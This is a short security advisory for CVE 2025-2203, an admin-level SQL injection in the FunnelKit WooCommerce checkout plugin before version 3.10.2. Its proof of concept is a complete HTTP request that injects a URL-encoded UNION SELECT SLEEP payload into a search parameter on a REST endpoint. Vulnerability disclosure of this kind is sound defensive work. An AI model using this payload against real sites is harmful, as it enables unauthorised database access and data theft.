WooCommerce Checkout & Funnel Builder by FunnelKit < 3.10.2 – Admin+ SQL Injection | CVE 2025-2203

Description

The plugin does not sanitize and escape a parameter before using it in a SQL statement, allowing admins to perform SQL injection attacks

Proof of Concept

Get the `_wpnonce` value from the `wp.apiFetch.createNonceMiddleware( "__NONCE_HERE__" )` on `/wp-admin/admin.php?page=bwf&path=/funnels`

Then send the following in request:

```
GET /wp-json/funnelkit-app/funnel-analytics/1/contacts/
?_wpnonce=2333c56a4e&s=
%25%27%29%20UNION%20SELECT%20SLEEP(10),NULL,NULL,NULL,NULL,NULL,NULL%20FROM%20wp_users;%20--%20 HTTP/1.1
Host: 192.168.124.194:8080
Accept-Language: pt-BR,pt;q=0.9
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36
Origin: http://192.168.124.194:8080
Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_6f22369022758919521fb0c578f9dcc6=alisson%7C1736533158%7C9a3OGC1XzuLpuYQiVU3Hd8uX2E44GlcBu6ID8VTmsZj%7C0332117746336725ed6ec8b2297f7cebe23852a16d37d77721c9400a02dfebad; tk_ai=is0YgIFr9xyWug7LSyU%2FdtnQ; tk_qs=; wp-settings-time-1=1736363267
Connection: keep-alive
```